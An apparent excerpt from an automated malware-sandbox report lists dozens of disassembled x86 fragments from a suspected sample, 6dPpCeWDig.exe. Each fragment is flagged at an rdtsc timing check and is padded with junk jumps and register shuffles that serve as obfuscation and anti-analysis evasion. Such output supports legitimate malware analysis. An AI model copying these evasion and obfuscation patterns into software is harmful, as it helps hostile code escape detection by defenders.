0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F38E4FECF47h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850746 second address: 7850771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, DD9Ah 0x00000007 movsx ebx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [ebx+64h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F38E4FF50C9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850771 second address: 7850846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, E552h 0x00000007 pushfd 0x00000008 jmp 00007F38E4FECF43h 0x0000000d adc esi, 51EBD14Eh 0x00000013 jmp 00007F38E4FECF49h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov dword ptr [esi+28h], eax 0x0000001f jmp 00007F38E4FECF3Eh 0x00000024 mov eax, dword ptr [ebx+68h] 0x00000027 jmp 00007F38E4FECF40h 0x0000002c mov dword ptr [esi+2Ch], eax 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F38E4FECF3Ah 0x00000036 sbb al, 00000028h 0x00000039 jmp 00007F38E4FECF3Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov ax, word ptr [ebx+6Ch] 0x00000044 jmp 00007F38E4FECF46h 0x00000049 mov word ptr [esi+30h], ax 0x0000004d pushad 0x0000004e pushfd 0x0000004f jmp 00007F38E4FECF3Eh 0x00000054 jmp 00007F38E4FECF45h 0x00000059 popfd 0x0000005a mov ebx, ecx 0x0000005c popad 0x0000005d mov ax, word ptr [ebx+00000088h] 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850846 second address: 7850855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850855 second address: 78508A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+32h], ax 0x0000000d jmp 00007F38E4FECF3Eh 0x00000012 mov eax, dword ptr [ebx+0000008Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F38E4FECF47h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78508A3 second address: 7850929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F38E4FF50C5h 0x0000000b sbb si, D476h 0x00000010 jmp 00007F38E4FF50C1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esi+34h], eax 0x0000001c pushad 0x0000001d mov al, 3Bh 0x0000001f movsx ebx, ax 0x00000022 popad 0x00000023 mov eax, dword ptr [ebx+18h] 0x00000026 jmp 00007F38E4FF50C0h 0x0000002b mov dword ptr [esi+38h], eax 0x0000002e jmp 00007F38E4FF50C0h 0x00000033 mov eax, dword ptr [ebx+1Ch] 0x00000036 pushad 0x00000037 call 00007F38E4FF50BEh 0x0000003c pushad 0x0000003d popad 0x0000003e pop esi 0x0000003f mov esi, edx 0x00000041 popad 0x00000042 mov dword ptr [esi+3Ch], eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850929 second address: 785092F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785092F second address: 785093D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785093D second address: 7850968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+20h] 0x0000000b jmp 00007F38E4FECF47h 0x00000010 mov dword ptr [esi+40h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850968 second address: 78509C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f pushad 0x00000010 jmp 00007F38E4FF50C3h 0x00000015 popad 0x00000016 push 00000001h 0x00000018 jmp 00007F38E4FF50C6h 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F38E4FF50C3h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78509C6 second address: 78509DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78509DE second address: 78509E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78509E2 second address: 7850A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F38E4FECF3Eh 0x0000000e nop 0x0000000f jmp 00007F38E4FECF40h 0x00000014 lea eax, dword ptr [ebp-10h] 0x00000017 jmp 00007F38E4FECF40h 0x0000001c nop 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 call 00007F38E4FECF3Ch 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850AE6 second address: 7850B0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b pushad 0x0000000c mov edx, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850B0C second address: 7850B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850B10 second address: 7850B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007F3952D23C62h 0x0000000d pushad 0x0000000e mov edx, eax 0x00000010 push ecx 0x00000011 pushfd 0x00000012 jmp 00007F38E4FF50C9h 0x00000017 jmp 00007F38E4FF50BBh 0x0000001c popfd 0x0000001d pop eax 0x0000001e popad 0x0000001f mov eax, dword ptr [ebp-0Ch] 0x00000022 pushad 0x00000023 movsx edi, cx 0x00000026 mov ebx, eax 0x00000028 popad 0x00000029 mov dword ptr [esi+04h], eax 0x0000002c pushad 0x0000002d mov ebx, ecx 0x0000002f mov edi, esi 0x00000031 popad 0x00000032 lea eax, dword ptr [ebx+78h] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850B65 second address: 7850B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850B69 second address: 7850B6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850B6F second address: 7850BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ah 0x00000005 call 00007F38E4FECF43h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push 00000001h 0x00000010 jmp 00007F38E4FECF3Fh 0x00000015 nop 0x00000016 pushad 0x00000017 movzx eax, di 0x0000001a pushfd 0x0000001b jmp 00007F38E4FECF41h 0x00000020 add ecx, 6AE2A2A6h 0x00000026 jmp 00007F38E4FECF41h 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007F38E4FECF41h 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F38E4FECF48h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850BFB second address: 7850BFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850BFF second address: 7850C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850CEB second address: 7850D08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850D08 second address: 7850D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push eax 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp-04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F38E4FECF41h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850D29 second address: 7850D65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ACh 0x00000005 pushfd 0x00000006 jmp 00007F38E4FF50C8h 0x0000000b add esi, 73A03008h 0x00000011 jmp 00007F38E4FF50BBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esi+08h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850D65 second address: 7850D80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850D80 second address: 7850D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850D86 second address: 7850DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebx+70h] 0x0000000e pushad 0x0000000f movzx ecx, dx 0x00000012 mov bx, C574h 0x00000016 popad 0x00000017 push 00000001h 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop edi 0x0000001c pushfd 0x0000001d jmp 00007F38E4FECF40h 0x00000022 sbb cx, A728h 0x00000027 jmp 00007F38E4FECF3Bh 0x0000002c popfd 0x0000002d popad 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DD2 second address: 7850DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DD6 second address: 7850DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DDC second address: 7850DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DE2 second address: 7850DE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DE6 second address: 7850DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DF5 second address: 7850DF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DF9 second address: 7850DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850DFF second address: 7850E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850E07 second address: 7850E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F38E4FF50BFh 0x00000011 xor ch, 0000007Eh 0x00000014 jmp 00007F38E4FF50C9h 0x00000019 popfd 0x0000001a mov dx, cx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850E43 second address: 7850E8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F38E4FECF43h 0x00000015 and cx, 913Eh 0x0000001a jmp 00007F38E4FECF49h 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850E8F second address: 7850E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850E94 second address: 7850E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850E9A second address: 7850E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850E9E second address: 7850F2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F38E4FECF3Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F38E4FECF41h 0x00000019 and ch, FFFFFF86h 0x0000001c jmp 00007F38E4FECF41h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F38E4FECF40h 0x00000028 jmp 00007F38E4FECF45h 0x0000002d popfd 0x0000002e popad 0x0000002f nop 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F38E4FECF3Ah 0x00000038 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850FCE second address: 7850FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850FD3 second address: 785102B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+0Ch], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F38E4FECF43h 0x00000016 pop eax 0x00000017 pushfd 0x00000018 jmp 00007F38E4FECF49h 0x0000001d and ecx, 1C269286h 0x00000023 jmp 00007F38E4FECF41h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785102B second address: 785109B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, 756006ECh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F38E4FF50BCh 0x00000015 xor cx, 5058h 0x0000001a jmp 00007F38E4FF50BBh 0x0000001f popfd 0x00000020 mov ebx, ecx 0x00000022 popad 0x00000023 sub eax, eax 0x00000025 pushad 0x00000026 jmp 00007F38E4FF50C1h 0x0000002b mov bx, cx 0x0000002e popad 0x0000002f lock cmpxchg dword ptr [edx], ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jmp 00007F38E4FF50BFh 0x0000003b mov esi, 4634E5DFh 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785109B second address: 78510D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b mov esi, 24CA8063h 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 test eax, eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F38E4FECF41h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78510D3 second address: 785112A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3952D236AAh 0x0000000f jmp 00007F38E4FF50BEh 0x00000014 mov edx, dword ptr [ebp+08h] 0x00000017 jmp 00007F38E4FF50C0h 0x0000001c mov eax, dword ptr [esi] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F38E4FF50C7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785112A second address: 7851167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F38E4FECF3Fh 0x00000008 pop ecx 0x00000009 mov edx, 7751DFDCh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [edx], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F38E4FECF3Ah 0x0000001c sub eax, 6BA588F8h 0x00000022 jmp 00007F38E4FECF3Bh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851167 second address: 785117A instructions: 0x00000000 rdtsc 0x00000002 mov ch, BEh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esi+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 push ebx 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785117A second address: 785118F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785118F second address: 7851193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851193 second address: 78511B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+04h], eax 0x0000000b jmp 00007F38E4FECF3Dh 0x00000010 mov eax, dword ptr [esi+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ax, dx 0x00000019 mov esi, edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78511B7 second address: 78511BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78511BD second address: 785120D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+08h], eax 0x0000000b pushad 0x0000000c push esi 0x0000000d call 00007F38E4FECF3Bh 0x00000012 pop ecx 0x00000013 pop edi 0x00000014 mov ecx, 53007C65h 0x00000019 popad 0x0000001a mov eax, dword ptr [esi+0Ch] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F38E4FECF3Dh 0x00000026 and ax, D9B6h 0x0000002b jmp 00007F38E4FECF41h 0x00000030 popfd 0x00000031 mov cx, 5BA7h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785120D second address: 785124B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+0Ch], eax 0x0000000c jmp 00007F38E4FF50BEh 0x00000011 mov eax, dword ptr [esi+10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F38E4FF50C7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785124B second address: 7851263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851263 second address: 78512C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+10h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F38E4FF50BDh 0x00000012 sub esi, 65B0A886h 0x00000018 jmp 00007F38E4FF50C1h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F38E4FF50C0h 0x00000024 adc cl, 00000028h 0x00000027 jmp 00007F38E4FF50BBh 0x0000002c popfd 0x0000002d popad 0x0000002e mov eax, dword ptr [esi+14h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov cx, di 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78512C0 second address: 78512C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78512C5 second address: 7851317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F38E4FF50BFh 0x0000000a or si, 7D1Eh 0x0000000f jmp 00007F38E4FF50C9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [edx+14h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007F38E4FF50C3h 0x00000023 mov ch, A2h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851317 second address: 785131C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785131C second address: 7851337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esi+18h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38E4FF50BFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851337 second address: 78513FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FECF3Fh 0x00000009 xor esi, 2B7C3D3Eh 0x0000000f jmp 00007F38E4FECF49h 0x00000014 popfd 0x00000015 call 00007F38E4FECF40h 0x0000001a pop eax 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov dword ptr [edx+18h], eax 0x00000021 pushad 0x00000022 call 00007F38E4FECF47h 0x00000027 pushad 0x00000028 popad 0x00000029 pop ecx 0x0000002a pushfd 0x0000002b jmp 00007F38E4FECF3Fh 0x00000030 sub ecx, 14C0BCAEh 0x00000036 jmp 00007F38E4FECF49h 0x0000003b popfd 0x0000003c popad 0x0000003d mov eax, dword ptr [esi+1Ch] 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F38E4FECF43h 0x00000049 jmp 00007F38E4FECF43h 0x0000004e popfd 0x0000004f pushad 0x00000050 popad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78513FE second address: 7851404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851404 second address: 7851408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7851408 second address: 7851481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+1Ch], eax 0x0000000b pushad 0x0000000c mov bh, E8h 0x0000000e pushfd 0x0000000f jmp 00007F38E4FF50C4h 0x00000014 add ecx, 6E02DAE8h 0x0000001a jmp 00007F38E4FF50BBh 0x0000001f popfd 0x00000020 popad 0x00000021 mov eax, dword ptr [esi+20h] 0x00000024 pushad 0x00000025 mov eax, 03FEFDFBh 0x0000002a pushfd 0x0000002b jmp 00007F38E4FF50C0h 0x00000030 jmp 00007F38E4FF50C5h 0x00000035 popfd 0x00000036 popad 0x00000037 mov dword ptr [edx+20h], eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F38E4FF50BDh 0x00000041 rdtsc
